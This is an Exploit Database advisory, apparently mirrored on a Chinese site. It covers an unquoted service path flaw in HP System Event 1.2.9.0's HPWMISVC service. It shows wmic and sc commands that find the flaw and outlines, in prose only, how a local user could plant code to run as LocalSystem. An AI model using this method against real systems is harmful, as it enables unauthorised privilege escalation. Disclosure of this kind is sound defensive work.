HP System Event 1.2.9.0 – ‘HPWMISVC’ Unquoted Service Path

• Exploit Database
• 51 阅读

• 作者： Roberto Piña
  日期： 2020-02-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48075/

• # Exploit Title: HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path
  # Discovery by: Roberto Piña
  # Discovery Date: 2020-02-14
  # Vendor Homepage:https://www8.hp.com/mx/es/home.html
  # Software Link:ftp://ftp.hp.com/pub/softpaq/sp70001-70500/sp70439.exe
  # HP Development Company, L.P.
  # Tested Version: 1.2.9.0
  # Vulnerability Type: Unquoted Service Path
  # Tested on OS: Windows 10 Home x64 en
  
  # Step to discover Unquoted Service Path: 
  
  C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "HP" | findstr /i /v """
  HPWMISVCHPWMISVCC:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exeAuto
  
  C:\>sc qc HPWMISVC
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: HPWMISVC
  TYPE : 110WIN32_OWN_PROCESS (interactive)
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : HPWMISVC
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
  
  C:\>
  # Exploit:
  # A successful attempt would require the local user to be able to insert their code in the system 
  # root path undetected by the OS or other security applications where it could potentially be 
  # executed during application startup or reboot. If successful, the local user's code would 
  # execute with the elevated privileges of the application.